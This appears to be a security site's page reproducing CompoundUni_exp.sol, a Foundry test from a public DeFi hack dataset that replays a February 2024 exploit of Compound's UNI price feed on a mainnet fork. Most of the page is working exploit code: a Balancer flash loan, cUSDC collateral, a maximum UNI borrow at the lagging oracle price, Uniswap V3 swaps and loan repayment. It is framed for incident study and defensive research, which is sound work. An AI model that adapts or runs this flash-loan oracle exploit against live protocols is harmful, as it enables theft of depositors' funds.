Skip to content
THREATWIRE

Public reproduction file

src/test/2024-02/CompoundUni_exp.sol

Public reproduction file for dataset entry CompoundUni.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-02/CompoundUni_exp.sol146 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~439537 US$
8// Attacker : 0xe000008459b74a91e306a47c808061dfa372000e
9// Attack Contract : 0x2f99fb66ea797e7fa2d07262402ab38bd5e53b12
10// Vulnerable Contract : Compound protocol's price feeder, 0x50ce56A3239671Ab62f185704Caedf626352741e
11// Attack Tx : https://etherscan.io/tx/0xaee0f8d1235584a3212f233b655f87b89f22f1d4890782447c4ef742b37af58d
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x50ce56A3239671Ab62f185704Caedf626352741e#code
16// @Analysis
17// Lending Dashboard : https://debank.com/profile/0x2f99fb66ea797e7fa2d07262402ab38bd5e53b12
18// Twitter Guy : https://twitter.com/0xLEVI104/status/1762092203894276481
20contract ContractTest is Test {
21 IBalancerVault public vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
22 IERC20 public USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
23 ICompoundcUSDC public cUSDC = ICompoundcUSDC(0x39AA39c021dfbaE8faC545936693aC917d5E7563);
24 IComptroller public comptroller = IComptroller(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);
25 IcUniToken public cUniToken = IcUniToken(0x35A18000230DA775CAc24873d00Ff85BccdeD550);
26 IUNIV3Pool public UNI_WETH_Pool = IUNIV3Pool(0x1d42064Fc4Beb5F8aAF85F4617AE8b3b5B8Bd801);
27 IUNI public uni = IUNI(0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984);
28 IUNIV3Pool public WETH_USDC_Pool = IUNIV3Pool(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640);
29 IWETH public WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
30 IUniswapAnchoredView public UniswapAnchoredView = IUniswapAnchoredView(0x50ce56A3239671Ab62f185704Caedf626352741e);
32 uint256 public AMOUNT = 193_020_254_960;
34 function setUp() public {
35 vm.createSelectFork("mainnet", 19_290_921 - 1);
36 vm.label(address(vault), "Balancer vault");
37 vm.label(address(USDC), "USDC");
38 vm.label(address(cUSDC), "cUSDC");
39 vm.label(address(comptroller), "comptroller");
40 vm.label(address(cUniToken), "cUniToken");
41 vm.label(address(UNI_WETH_Pool), "UNI_WETH_Pool");
42 vm.label(address(uni), "uni");
43 vm.label(address(WETH_USDC_Pool), "WETH_USDC_Pool");
44 vm.label(address(WETH), "WETH");
45 }
47 function testExploit() public {
48 console.log("USDC balance:");
49 emit log_named_decimal_uint(" [INFO] Before attack", USDC.balanceOf(address(this)), 6);
51 address[] memory tokens = new address[](1);
52 uint256[] memory amounts = new uint256[](1);
53 tokens[0] = address(USDC);
54 amounts[0] = AMOUNT;
55 vault.flashLoan(address(this), tokens, amounts, bytes(""));
57 emit log_named_decimal_uint(" [INFO] After attack", USDC.balanceOf(address(this)), 6);
58 console.log("When compound update the price, incomplete liquidation leading to bad debts");
59 }
61 function receiveFlashLoan(IERC20[] memory, uint256[] memory, uint256[] memory, bytes memory) public {
62 // pledge the USDC
63 USDC.approve(address(cUSDC), AMOUNT);
64 cUSDC.mint(AMOUNT);
65 address[] memory cTokens = new address[](1);
66 cTokens[0] = address(cUSDC);
67 comptroller.enterMarkets(cTokens);
69 // You should calculate the max u can borrow
70 (, uint256 myTotalLiquidity,) = comptroller.getAccountLiquidity(address(this));
72 // The max amount of UNI we can borrow = AccountLiquidity / UNI's price in compound
73 uint256 max_UNI_borrow =
74 myTotalLiquidity / UniswapAnchoredView.getUnderlyingPrice(address(cUniToken)) * 10 ** uni.decimals();
75 cUniToken.borrow(max_UNI_borrow);
77 // Swap: UNI => WETH => USDC, for the low Slippage
78 UNI_WETH_Pool.swap(address(this), true, int256(uni.balanceOf(address(this))), 42_095_128_740, bytes(""));
79 WETH_USDC_Pool.swap(
80 address(this),
81 false,
82 int256(WETH.balanceOf(address(this))),
83 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_341,
84 bytes("")
85 );
87 USDC.transfer(msg.sender, AMOUNT); // pay back flashloan
88 }
90 uint256 public num = 0;
92 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata) public {
93 // For the twice swap()
94 if (num == 0) {
95 uni.transfer(msg.sender, uint256(amount0Delta));
96 num++;
97 } else {
98 WETH.transfer(msg.sender, uint256(amount1Delta));
99 }
100 }
103interface ICompoundcUSDC {
104 function mint(
105 uint256 mintAmount
106 ) external returns (uint256);
109interface IComptroller {
110 function enterMarkets(
111 address[] memory cTokens
112 ) external returns (uint256[] memory);
113 function getAccountLiquidity(
114 address account
115 ) external view returns (uint256, uint256, uint256);
118interface IcUniToken {
119 function borrow(
120 uint256 borrowAmount
121 ) external returns (uint256);
124interface IUNIV3Pool {
125 function swap(
126 address recipient,
127 bool zeroForOne,
128 int256 amountSpecified,
129 uint160 sqrtPriceLimitX96,
130 bytes memory data
131 ) external returns (int256 amount0, int256 amount1);
134interface IUNI {
135 function balanceOf(
136 address account
137 ) external view returns (uint256);
138 function decimals() external view returns (uint8);
139 function transfer(address dst, uint256 rawAmount) external returns (bool);
142interface IUniswapAnchoredView {
143 function getUnderlyingPrice(
144 address cToken
145 ) external view returns (uint256);

Analysis

Dataset entry

Public Foundry test for “CompoundUni” (2024-02-23). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xe000008459b74a91e306a47c808061dfa372000e

  • Attack Contract

    0x2f99fb66ea797e7fa2d07262402ab38bd5e53b12

  • Vulnerable Contract

    0x50ce56a3239671ab62f185704caedf626352741e

  • Attack Tx

    0xaee0f8d1235584a3212f233b655f87b89f22f1d4890782447c4ef742b37af58d

File record

Name
CompoundUni
Path
src/test/2024-02/CompoundUni_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
7321e8fb304b26e309732cf963319121a6c07321
Language
Solidity
Size
147 lines
Date
2024-02-23
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-02/CompoundUni_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 7321e8fb304b26e309732cf963319121a6c07321, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.